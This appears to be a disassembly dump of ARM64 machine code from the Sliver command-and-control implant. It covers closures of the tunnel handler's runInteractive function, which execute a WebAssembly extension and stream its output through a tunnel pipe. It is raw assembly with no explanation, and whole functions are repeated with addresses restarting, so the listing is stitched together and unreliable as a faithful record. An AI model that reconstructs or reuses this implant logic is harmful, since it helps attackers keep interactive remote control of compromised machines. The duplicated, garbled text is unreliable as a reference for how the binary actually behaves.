00410434str x7, [x5+16]
00410438adrp x27, 0x63b000
0041043cldr w7, [x27+3056]
00410440cbz w7, 0x410448
00410444b 0x41044c
00410448
00410448loc_410448:
00410448b 0x410460
0041044c
0041044cloc_41044c:
0041044cbl runtime.gcWriteBarrier2
00410450str x6, [x25]
00410454ldr x7, [x5+24]
00410458str x7, [x25+8]
0041045cb 0x410460
00410460
00410460loc_410460:
00410460str x6, [x5+24]
00410464ldr x2, [sp+320]
00410468ldrsb x27, [x2]
0041046cb 0x410470
00410470
00410470loc_410470:
00410470str x2, [sp+120]
00410474orr x4, xzr, 2
00410478str x4, [sp+128]
0041047cstr x4, [sp+136]
00410480adrp x0, 0x2ac000
00410484add x0, x0, 2164
00410488movz x1, 29
0041048cmov x3, x4
00410490bl log.Printf
00410494ldr x5, [sp+72]
00410498ldr x6, [sp+80]
0041049cstr x5, [sp+192]
004104a0str x6, [sp+200]
004104a4stp xzr, xzr, [sp+144]
004104a8adrp x0, 0x23e000
004104acadd x0, x0, 928
004104b0add x1, sp, 192
004104b4bl runtime.convT
004104b8str x0, [sp+264]
004104bcldr x3, [sp+352]
004104c0ldr x5, [sp+344]
004104c4str x5, [sp+248]
004104c8str x3, [sp+256]
004104cccbnz x5, 0x4104d4
004104d0b 0x4104f4
004104d4
004104d4loc_4104d4:
004104d4str x3, [sp+224]
004104d8ldr x1, [x5+8]
004104dcadrp x0, 0x5fe000
004104e0add x0, x0, 1936
004104e4bl runtime.typeAssert
004104e8ldr x3, [sp+224]
004104ecmov x5, x0
004104f0b 0x4104f8
004104f4
004104f4loc_4104f4:
004104f4b 0x4104f8
004104f8
004104f8loc_4104f8:
004104f8str x5, [sp+232]
004104fcstr x3, [sp+240]
00410500ldr x1, [sp+264]
00410504adrp x0, 0x305000
00410508add x0, x0, 1280
0041050cmov x2, x5
00410510bl io.Copy
00410514str x0, [sp+48]
00410518str x1, [sp+144]
0041051cstr x2, [sp+152]
00410520ldr x4, [sp+48]
00410524str x4, [sp+56]
00410528str x1, [sp+208]
0041052cstr x2, [sp+216]
00410530str x1, [sp+88]
00410534str x2, [sp+96]
00410538cbnz x1, 0x410540
0041053cb 0x41056c
00410540
00410540loc_410540:
00410540ldr x26, [sp+112]
00410544ldr x4, [x26]
00410548adrp x0, 0x2a1000
0041054cadd x0, x0, 1428
00410550mov x3, x2
00410554mov x2, x1
00410558orr x1, xzr, 8
0041055cblr x4
00410560ldp x29, x30, [sp-8]
00410564add sp, sp, 336
00410568ret x30
0041056c
0041056cloc_41056c:
0041056cadrp x27, 0x611000
00410570ldr x3, [x27+1520]
00410574subs xzr, x1, x3
00410578b.eq 0x410580
0041057cb 0x4105d0
00410580
00410580loc_410580:
00410580adrp x27, 0x611000
00410584ldr x3, [x27+1528]
00410588mov x0, x1
0041058cmov x1, x2
00410590mov x2, x3
00410594bl runtime.ifaceeq
00410598tbnz w0, 0, 0x4105a0
0041059cb 0x4105cc
004105a0
004105a0loc_4105a0:
004105a0ldr x2, [sp+88]
004105a4ldr x3, [sp+96]
004105a8ldr x26, [sp+112]
004105acldr x4, [x26]
004105b0adrp x0, 0x2a0000
004105b4add x0, x0, 477
004105b8orr x1, xzr, 3
004105bcblr x4
004105c0ldp x29, x30, [sp-8]
004105c4add sp, sp, 336
004105c8ret x30
004105cc
004105ccloc_4105cc:
004105ccb 0x4105d4
004105d0
004105d0loc_4105d0:
004105d0b 0x4105d4
004105d4
004105d4loc_4105d4:
004105d4ldp x29, x30, [sp-8]
004105d8add sp, sp, 336
004105dcret x30
004105e0
004105e0loc_4105e0:
004105e0stp x0, x1, [sp+8]
004105e4mov x3, x30
004105e8bl runtime.morestack.abi0
004105ecldp x0, x1, [sp+8]
004105f0b 0x410320
004105f4udf 0
004105f8udf 0
004105fcudf 0
00410320
00410600
00410600github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap1(void)
00410600ldr x16, [x28+16]
00410604subs xzr, sp, x16
00410608b.ls 0x41063c
0041060cstr x30, [sp-32]!
00410610stur x29, [sp-8]
00410614sub x29, sp, 8
00410618ldr x16, [x28+32]
0041061ccbnz x16, 0x410648
00410620
00410620loc_410620:
00410620ldr x26, [x26+8]
00410624str x26, [sp+16]
00410628ldr x0, [x26]
0041062cblr x0
00410630ldur x29, [sp-8]
00410634ldr x30, [sp], 32
00410638ret x30
0041063c
0041063cloc_41063c:
0041063cmov x3, x30
00410640bl runtime.morestack.abi0
00410644b 0x410600
00410648
00410648loc_410648:
00410648ldr x17, [x16]
0041064cadd x20, sp, 40
00410650subs xzr, x20, x17
00410654b.ne 0x410620
00410658add x20, sp, 8
0041065cstr x20, [x16]
00410660b 0x410620
00410664udf 0
00410668udf 0
0041066cudf 0
00410600
00410600github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap1: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.gowrap1(void)
00410600ldr x16, [x28+16]
00410604subs xzr, sp, x16
00410608b.ls 0x41063c
0041060cstr x30, [sp-32]!
00410610stur x29, [sp-8]
00410614sub x29, sp, 8
00410618ldr x16, [x28+32]
0041061ccbnz x16, 0x410648
00410620
00410620loc_410620:
00410620ldr x26, [x26+8]
00410624str x26, [sp+16]
00410628ldr x0, [x26]
0041062cblr x0
00410630ldur x29, [sp-8]
00410634ldr x30, [sp], 32
00410638ret x30
0041063c
0041063cloc_41063c:
0041063cmov x3, x30
00410640bl runtime.morestack.abi0
00410644b 0x410600
00410648
00410648loc_410648:
00410648ldr x17, [x16]
0041064cadd x20, sp, 40
00410650subs xzr, x20, x17
00410654b.ne 0x410620
00410658add x20, sp, 8
0041065cstr x20, [x16]
00410660b 0x410620
00410664udf 0
00410668udf 0
0041066cudf 0
00410600
00410670
00410670github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func2(void)
00410670ldr x16, [x28+16]
00410674sub x17, sp, 320
00410678subs xzr, x17, x16
0041067cb.ls 0x410abc
00410680sub x20, sp, 448
00410684stp x29, x30, [x20-8]
00410688add sp, x20, 0
0041068csub x29, sp, 8
00410690ldr x5, [x26+8]
00410694str x5, [sp+88]
00410698ldr x5, [x26+16]
0041069cstr x5, [sp+104]
004106a0ldr x5, [x26+24]
004106a4str x5, [sp+96]
004106a8str wzr, [sp+56]
004106acstp xzr, xzr, [sp+72]
004106b0adrp x0, 0x2b2000
004106b4add x0, x0, 3456
004106b8movz x1, 38
004106bcmov x2, xzr
004106c0mov x3, xzr
004106c4mov x4, x3
004106c8bl log.Printf
004106ccstp xzr, xzr, [sp+160]
004106d0ldr x5, [sp+104]
004106d4ldrsb x27, [x5]
004106d8ldr x1, [x5+24]
004106dcldr x2, [x5+32]
004106e0ldr x3, [x5+40]
004106e4str x1, [sp+360]
004106e8str x2, [sp+368]
004106ecstr x3, [sp+376]
004106f0ldr x0, [sp+88]
004106f4bl github.com/bishopfox/sliver/implant/sliver/extension.(*WasmExtension).Execute
004106f8str w0, [sp+64]
004106fcstr x1, [sp+160]
00410700str x2, [sp+168]
00410704ldr w5, [sp+64]
00410708str w5, [sp+68]
0041070cldr x5, [sp+160]
00410710ldr x6, [sp+168]
00410714str x5, [sp+176]
00410718str x6, [sp+184]
0041071cldr w5, [sp+68]
00410720str w5, [sp+60]
00410724ldr x5, [sp+184]
00410728ldr x6, [sp+176]
0041072cstr x6, [sp+112]
00410730str x5, [sp+120]
00410734subs xzr, x6, 0
00410738cset x5, ne
0041073cstrb w5, [sp+55]
00410740cbnz x6, 0x410748
00410744b 0x41074c
00410748
00410748loc_410748:
00410748b 0x410760
0041074c
0041074cloc_41074c:
0041074cldr w1, [sp+60]
00410750subs wzr, w1, 0
00410754cset x1, ne
00410758strb w1, [sp+55]
0041075cb 0x410760
00410760
00410760loc_410760:
00410760ldrb w1, [sp+55]
00410764tbnz w1, 0, 0x41076c
00410768b 0x410870
0041076c
0041076cloc_41076c:
0041076cstp xzr, xzr, [sp+128]
00410770stp xzr, xzr, [sp+144]
00410774add x1, sp, 128
00410778str x1, [sp+328]
0041077cldr w0, [sp+60]
00410780bl runtime.convT32
00410784str x0, [sp+320]
00410788ldr x1, [sp+328]
0041078cldrsb x27, [x1]
00410790adrp x2, 0x1e5000
00410794add x2, x2, 3328
00410798str x2, [x1]
0041079cadrp x27, 0x63b000
004107a0ldr w2, [x27+3056]
004107a4cbz w2, 0x4107ac
004107a8b 0x4107b0
004107ac
004107acloc_4107ac:
004107acb 0x4107c4
004107b0
004107b0loc_4107b0:
004107b0bl runtime.gcWriteBarrier2
004107b4str x0, [x25]
004107b8ldr x5, [x1+8]
004107bcstr x5, [x25+8]
004107c0b 0x4107c4
004107c4
004107c4loc_4107c4:
004107c4str x0, [x1+8]
004107c8ldr x5, [sp+112]
004107ccldr x6, [sp+120]
004107d0str x5, [sp+304]
004107d4str x6, [sp+312]
004107d8str x5, [sp+296]
004107dcldr x5, [sp+296]
004107e0cbnz x5, 0x4107e8
004107e4b 0x4107f8
004107e8
004107e8loc_4107e8:
004107e8ldr x5, [sp+296]
004107ecldr x5, [x5+8]
004107f0str x5, [sp+296]
004107f4b 0x4107fc
004107f8
004107f8loc_4107f8:
004107f8b 0x4107fc
004107fc
004107fcloc_4107fc:
004107fcldr x5, [sp+328]
00410800ldrsb x27, [x5]
00410804ldr x6, [sp+312]
00410808ldr x7, [sp+296]
0041080cstr x7, [x5+16]
00410810adrp x27, 0x63b000
00410814ldr w7, [x27+3056]
00410818cbz w7, 0x410820
0041081cb 0x410824
00410820
00410820loc_410820:
00410820b 0x410838
00410824
00410824loc_410824:
00410824bl runtime.gcWriteBarrier2
00410828str x6, [x25]
0041082cldr x7, [x5+24]
00410830str x7, [x25+8]
00410834b 0x410838
00410838
00410838loc_410838:
00410838str x6, [x5+24]
0041083cldr x2, [sp+328]
00410840ldrsb x27, [x2]
00410844b 0x410848
00410848
00410848loc_410848:
00410848str x2, [sp+336]
0041084corr x4, xzr, 2
00410850str x4, [sp+344]
00410854str x4, [sp+352]
00410858adrp x0, 0x2b7000
0041085cadd x0, x0, 1767
00410860movz x1, 46
00410864mov x3, x4
00410868bl log.Printf
0041086cb 0x410874
00410870
00410870loc_410870:
00410870b 0x410874
00410874
00410874loc_410874:
00410874stp xzr, xzr, [sp+424]
00410878add x1, sp, 424
0041087cstr x1, [sp+264]
00410880ldr w0, [sp+60]
00410884bl runtime.convT32
00410888str x0, [sp+256]
0041088cldr x1, [sp+264]
00410890ldrsb x27, [x1]
00410894adrp x2, 0x1e5000
00410898add x2, x2, 3328
0041089cstr x2, [x1]
004108a0adrp x27, 0x63b000
004108a4ldr w2, [x27+3056]
004108a8cbz w2, 0x4108b0
004108acb 0x4108b4
004108b0
004108b0loc_4108b0:
004108b0b 0x4108c8
004108b4
004108b4loc_4108b4:
004108b4bl runtime.gcWriteBarrier2
004108b8str x0, [x25]
004108bcldr x5, [x1+8]
004108c0str x5, [x25+8]
004108c4b 0x4108c8
004108c8
004108c8loc_4108c8:
004108c8str x0, [x1+8]
004108ccldr x2, [sp+264]
004108d0ldrsb x27, [x2]
004108d4b 0x4108d8
004108d8
004108d8loc_4108d8:
004108d8str x2, [sp+272]
004108dcorr x4, xzr, 1
004108e0str x4, [sp+280]
004108e4str x4, [sp+288]
004108e8adrp x0, 0x2a6000
004108ecadd x0, x0, 3267
004108f0movz x1, 20
004108f4mov x3, x4
004108f8bl log.Printf
004108fcadrp x0, 0x2a9000
00410900add x0, x0, 3054
00410904movz x1, 25
00410908mov x2, xzr
0041090cmov x3, xzr
00410910mov x4, x3
00410914bl log.Printf
00410918stp xzr, xzr, [sp+424]
0041091cadd x5, sp, 424
00410920str x5, [sp+224]
00410924ldr w0, [sp+60]
00410928bl runtime.convT32
0041092cstr x0, [sp+216]
00410930ldr x5, [sp+224]
00410934ldrsb x27, [x5]
00410938adrp x6, 0x1e5000
0041093cadd x6, x6, 3328
00410940str x6, [x5]
00410944adrp x27, 0x63b000
00410948ldr w6, [x27+3056]
0041094ccbz w6, 0x410954
00410950b 0x410958
00410954
00410954loc_410954:
00410954b 0x41096c
00410958
00410958loc_410958:
00410958bl runtime.gcWriteBarrier2
0041095cstr x0, [x25]
00410960ldr x6, [x5+8]
00410964str x6, [x25+8]
00410968b 0x41096c
0041096c
0041096cloc_41096c:
0041096cstr x0, [x5+8]
00410970ldr x2, [sp+224]
00410974ldrsb x27, [x2]
00410978b 0x41097c
0041097c
0041097cloc_41097c:
0041097cstr x2, [sp+232]
00410980orr x4, xzr, 1
00410984str x4, [sp+240]
00410988str x4, [sp+248]
0041098cadrp x0, 0x2a9000
00410990add x0, x0, 918
00410994orr x1, xzr, 24
00410998mov x3, x4
0041099cbl fmt.Sprintf
004109a0str x0, [sp+408]
004109a4str x1, [sp+416]
004109a8mov x2, x1
004109acmov x1, x0
004109b0mov x0, xzr
004109b4bl runtime.stringtoslicebyte
004109b8str x0, [sp+384]
004109bcstr x1, [sp+392]
004109c0str x2, [sp+400]
004109c4ldr x5, [sp+88]
004109c8ldrsb x27, [x5]
004109ccldr x5, [x5+24]
004109d0ldrsb x27, [x5]
004109d4ldr x0, [x5+8]
004109d8str x0, [sp+208]
004109dcldr x1, [sp+384]
004109e0ldr x2, [sp+392]
004109e4ldr x3, [sp+400]
004109e8bl io.(*PipeWriter).Write
004109ecadrp x0, 0x1f2000
004109f0add x0, x0, 800
004109f4bl runtime.newobject
004109f8str x0, [sp+200]
004109fcadrp x27, 0x2b9000
00410a00add x27, x27, 2566
00410a04ldp x5, x6, [x27]
00410a08adrp x27, 0x2b9000
00410a0cadd x27, x27, 2582
00410a10ldp x7, x8, [x27]
00410a14adrp x27, 0x2b9000
00410a18add x27, x27, 2598
00410a1cldp x9, x10, [x27]
00410a20stp x5, x6, [x0]
00410a24stp x7, x8, [x0+16]
00410a28stp x9, x10, [x0+32]
00410a2cmovz x5, 25973
00410a30movk x5, 0x2e200000
00410a34movk x5, 0x2e2e00000000
00410a38movk x5, 0xa0d000000000000
00410a3cstur x5, [x0+43]
00410a40ldr x5, [sp+200]
00410a44ldrsb x27, [x5]
00410a48b 0x410a4c
00410a4c
00410a4cloc_410a4c:
00410a4cstr x5, [sp+384]
00410a50movz x4, 51
00410a54str x4, [sp+392]
00410a58str x4, [sp+400]
00410a5cldr x4, [sp+88]
00410a60ldrsb x27, [x4]
00410a64ldr x4, [x4+24]
00410a68ldrsb x27, [x4]
00410a6cldr x0, [x4+8]
00410a70str x0, [sp+192]
00410a74ldr x1, [sp+384]
00410a78ldr x2, [sp+392]
00410a7cldr x3, [sp+400]
00410a80bl io.(*PipeWriter).Write
00410a84ldr x0, [sp+88]
00410a88bl github.com/bishopfox/sliver/implant/sliver/extension.(*WasmExtension).Close
00410a8cldr x0, [sp+96]
00410a90bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).Close
00410a94ldr w4, [sp+60]
00410a98str w4, [sp+56]
00410a9cldr x1, [sp+112]
00410aa0ldr x2, [sp+120]
00410aa4str x1, [sp+72]
00410aa8str x2, [sp+80]
00410aacldr w0, [sp+56]
00410ab0ldp x29, x30, [sp-8]
00410ab4add sp, sp, 448
00410ab8ret x30
00410abc
00410abcloc_410abc:
00410abcmov x3, x30
00410ac0bl runtime.morestack.abi0
00410ac4b 0x410670
00410ac8udf 0
00410accudf 0
00410670
00410670github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func2: ; void github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers.runInteractive.func2(void)
00410670ldr x16, [x28+16]
00410674sub x17, sp, 320
00410678subs xzr, x17, x16
0041067cb.ls 0x410abc
00410680sub x20, sp, 448
00410684stp x29, x30, [x20-8]
00410688add sp, x20, 0
0041068csub x29, sp, 8
00410690ldr x5, [x26+8]
00410694str x5, [sp+88]
00410698ldr x5, [x26+16]
0041069cstr x5, [sp+104]
004106a0ldr x5, [x26+24]
004106a4str x5, [sp+96]
004106a8str wzr, [sp+56]
004106acstp xzr, xzr, [sp+72]
004106b0adrp x0, 0x2b2000
004106b4add x0, x0, 3456
004106b8movz x1, 38
004106bcmov x2, xzr
004106c0mov x3, xzr
004106c4mov x4, x3
004106c8bl log.Printf
004106ccstp xzr, xzr, [sp+160]
004106d0ldr x5, [sp+104]
004106d4ldrsb x27, [x5]
004106d8ldr x1, [x5+24]
004106dcldr x2, [x5+32]
004106e0ldr x3, [x5+40]
004106e4str x1, [sp+360]
004106e8str x2, [sp+368]
004106ecstr x3, [sp+376]
004106f0ldr x0, [sp+88]
004106f4bl github.com/bishopfox/sliver/implant/sliver/extension.(*WasmExtension).Execute
004106f8str w0, [sp+64]
004106fcstr x1, [sp+160]
00410700str x2, [sp+168]
00410704ldr w5, [sp+64]
00410708str w5, [sp+68]
0041070cldr x5, [sp+160]
00410710ldr x6, [sp+168]
00410714str x5, [sp+176]
00410718str x6, [sp+184]
0041071cldr w5, [sp+68]
00410720str w5, [sp+60]
00410724ldr x5, [sp+184]
00410728ldr x6, [sp+176]
0041072cstr x6, [sp+112]
00410730str x5, [sp+120]
00410734subs xzr, x6, 0
00410738cset x5, ne
0041073cstrb w5, [sp+55]
00410740cbnz x6, 0x410748
00410744b 0x41074c
00410748
00410748loc_410748:
00410748b 0x410760
0041074c
0041074cloc_41074c:
0041074cldr w1, [sp+60]
00410750subs wzr, w1, 0
00410754cset x1, ne
00410758strb w1, [sp+55]
0041075cb 0x410760
00410760
00410760loc_410760:
00410760ldrb w1, [sp+55]
00410764tbnz w1, 0, 0x41076c
00410768b 0x410870
0041076c
0041076cloc_41076c:
0041076cstp xzr, xzr, [sp+128]
00410770stp xzr, xzr, [sp+144]
00410774add x1, sp, 128
00410778str x1, [sp+328]
0041077cldr w0, [sp+60]
00410780bl runtime.convT32
00410784str x0, [sp+320]
00410788ldr x1, [sp+328]
0041078cldrsb x27, [x1]
00410790adrp x2, 0x1e5000
00410794add x2, x2, 3328
00410798str x2, [x1]
0041079cadrp x27, 0x63b000
004107a0ldr w2, [x27+3056]
004107a4cbz w2, 0x4107ac
004107a8b 0x4107b0
004107ac
004107acloc_4107ac:
004107acb 0x4107c4
004107b0
004107b0loc_4107b0:
004107b0bl runtime.gcWriteBarrier2
004107b4str x0, [x25]
004107b8ldr x5, [x1+8]
004107bcstr x5, [x25+8]
004107c0b 0x4107c4
004107c4
004107c4loc_4107c4:
004107c4str x0, [x1+8]
004107c8ldr x5, [sp+112]
004107ccldr x6, [sp+120]
004107d0str x5, [sp+304]
004107d4str x6, [sp+312]
004107d8str x5, [sp+296]
004107dcldr x5, [sp+296]
004107e0cbnz x5, 0x4107e8
004107e4b 0x4107f8
004107e8
004107e8loc_4107e8:
004107e8ldr x5, [sp+296]
004107ecldr x5, [x5+8]
004107f0str x5, [sp+296]
004107f4b 0x4107fc
004107f8
004107f8loc_4107f8:
004107f8b 0x4107fc
004107fc
004107fcloc_4107fc:
004107fcldr x5, [sp+328]
00410800ldrsb x27, [x5]
00410804ldr x6, [sp+312]
00410808ldr x7, [sp+296]
0041080cstr x7, [x5+16]
00410810adrp x27, 0x63b000
00410814ldr w7, [x27+3056]
00410818cbz w7, 0x410820
0041081cb 0x410824
00410820
00410820loc_410820:
00410820b 0x410838
00410824
00410824loc_410824:
00410824bl runtime.gcWriteBarrier2
00410828str x6, [x25]
0041082cldr x7, [x5+24]
00410830str x7, [x25+8]
00410834b 0x410838
00410838
00410838loc_410838:
00410838str x6, [x5+24]
0041083cldr x2, [sp+328]
00410840ldrsb x27, [x2]
00410844b 0x410848
00410848
00410848loc_410848:
00410848str x2, [sp+336]
0041084corr x4, xzr, 2
00410850str x4, [sp+344]
00410854str x4, [sp+352]
00410858adrp x0, 0x2b7000
0041085cadd x0, x0, 1767
00410860movz x1, 46
00410864mov x3, x4
00410868bl log.Printf
0041086cb 0x410874
00410870
00410870loc_410870:
00410870b 0x410874
00410874
00410874loc_410874:
00410874stp xzr, xzr, [sp+424]
00410878add x1, sp, 424
0041087cstr x1, [sp+264]
00410880ldr w0, [sp+60]
00410884bl runtime.convT32
00410888str x0, [sp+256]
0041088cldr x1, [sp+264]
00410890ldrsb x27, [x1]
00410894adrp x2, 0x1e5000
00410898add x2, x2, 3328
0041089cstr x2, [x1]
004108a0adrp x27, 0x63b000
004108a4ldr w2, [x27+3056]
004108a8cbz w2, 0x4108b0
004108acb 0x4108b4
004108b0
004108b0loc_4108b0:
004108b0b 0x4108c8
004108b4
004108b4loc_4108b4:
004108b4bl runtime.gcWriteBarrier2
004108b8str x0, [x25]
004108bcldr x5, [x1+8]
004108c0str x5, [x25+8]
004108c4b 0x4108c8
004108c8
004108c8loc_4108c8:
004108c8str x0, [x1+8]
004108ccldr x2, [sp+264]
004108d0ldrsb x27, [x2]
004108d4b 0x4108d8
004108d8
004108d8loc_4108d8:
004108d8str x2, [sp+272]
004108dcorr x4, xzr, 1
004108e0str x4, [sp+280]
004108e4str x4, [sp+288]
004108e8adrp x0, 0x2a6000
004108ecadd x0, x0, 3267
004108f0movz x1, 20
004108f4mov x3, x4
004108f8bl log.Printf
004108fcadrp x0, 0x2a9000
00410900add x0, x0, 3054
00410904movz x1, 25
00410908mov x2, xzr
0041090cmov x3, xzr
00410910mov x4, x3
00410914bl log.Printf
00410918stp xzr, xzr, [sp+424]
0041091cadd x5, sp, 424
00410920str x5, [sp+224]
00410924ldr w0, [sp+60]
00410928bl runtime.convT32
0041092cstr x0, [sp+216]
00410930ldr x5, [sp+224]
00410934ldrsb x27, [x5]
00410938adrp x6, 0x1e5000
0041093cadd x6, x6, 3328
00410940str x6, [x5]
00410944adrp x27, 0x63b000
00410948ldr w6, [x27+3056]
0041094ccbz w6, 0x410954
00410950b 0x410958
00410954
00410954loc_410954:
00410954b 0x41096c
00410958
00410958loc_410958:
00410958bl runtime.gcWriteBarrier2
0041095cstr x0, [x25]
00410960ldr x6, [x5+8]
00410964str x6, [x25+8]
00410968b 0x41096c
0041096c
0041096cloc_41096c:
0041096cstr x0, [x5+8]
00410970ldr x2, [sp+224]
00410974ldrsb x27, [x2]
00410978b 0x41097c
0041097c
0041097cloc_41097c:
0041097cstr x2, [sp+232]
00410980orr x4, xzr, 1
00410984str x4, [sp+240]
00410988str x4, [sp+248]
0041098cadrp x0, 0x2a9000
00410990add x0, x0, 918
00410994orr x1, xzr, 24
00410998mov x3, x4
0041099cbl fmt.Sprintf
004109a0str x0, [sp+408]
004109a4str x1, [sp+416]
004109a8mov x2, x1
004109acmov x1, x0
004109b0mov x0, xzr
004109b4bl runtime.stringtoslicebyte
004109b8str x0, [sp+384]
004109bcstr x1, [sp+392]
004109c0str x2, [sp+400]
004109c4ldr x5, [sp+88]
004109c8ldrsb x27, [x5]
004109ccldr x5, [x5+24]
004109d0ldrsb x27, [x5]
004109d4ldr x0, [x5+8]
004109d8str x0, [sp+208]
004109dcldr x1, [sp+384]
004109e0ldr x2, [sp+392]
004109e4ldr x3, [sp+400]
004109e8bl io.(*PipeWriter).Write
004109ecadrp x0, 0x1f2000
004109f0add x0, x0, 800
004109f4bl runtime.newobject
004109f8str x0, [sp+200]
004109fcadrp x27, 0x2b9000
00410a00add x27, x27, 2566
00410a04ldp x5, x6, [x27]
00410a08adrp x27, 0x2b9000
00410a0cadd x27, x27, 2582
00410a10ldp x7, x8, [x27]
00410a14adrp x27, 0x2b9000
00410a18add x27, x27, 2598
00410a1cldp x9, x10, [x27]
00410a20stp x5, x6, [x0]
00410a24stp x7, x8, [x0+16]
00410a28stp x9, x10, [x0+32]
00410a2cmovz x5, 25973
00410a30movk x5, 0x2e200000
00410a34movk x5, 0x2e2e00000000
00410a38movk x5, 0xa0d000000000000
00410a3cstur x5, [x0+43]
00410a40ldr x5, [sp+200]
00410a44ldrsb x27, [x5]
00410a48b 0x410a4c
00410a4c
00410a4cloc_410a4c:
00410a4cstr x5, [sp+384]
00410a50movz x4, 51
00410a54str x4, [sp+392]
00410a58str x4, [sp+400]
00410a5cldr x4, [sp+88]
00410a60ldrsb x27, [x4]
00410a64ldr x4, [x4+24]
00410a68ldrsb x27, [x4]
00410a6cldr x0, [x4+8]
00410a70str x0, [sp+192]
00410a74ldr x1, [sp+384]
00410a78ldr x2, [sp+392]
00410a7cldr x3, [sp+400]
00410a80bl io.(*PipeWriter).Write
00410a84ldr x0, [sp+88]
00410a88bl github.com/bishopfox/sliver/implant/sliver/extension.(*WasmExtension).Close
00410a8cldr x0, [sp+96]
00410a90bl github.com/bishopfox/sliver/implant/sliver/transports.(*Tunnel).Close
00410a94ldr w4, [sp+60]
00410a98str w4, [sp+56]
00410a9cldr x1, [sp+112]
00410aa0ldr x2, [sp+120]
00410aa4str x1, [sp+72]
00410aa8str x2, [sp+80]
00410aacldr w0, [sp+56]
00410ab0ldp x29, x30, [sp-8]
00410ab4add sp, sp, 448
00410ab8ret x30
00410abc
00410abcloc_410abc:
00410abcmov x3, x30
00410ac0bl runtime.morestack.abi0
00410ac4b 0x410670
00410ac8udf 0
00410accudf 0
00410670
Loading..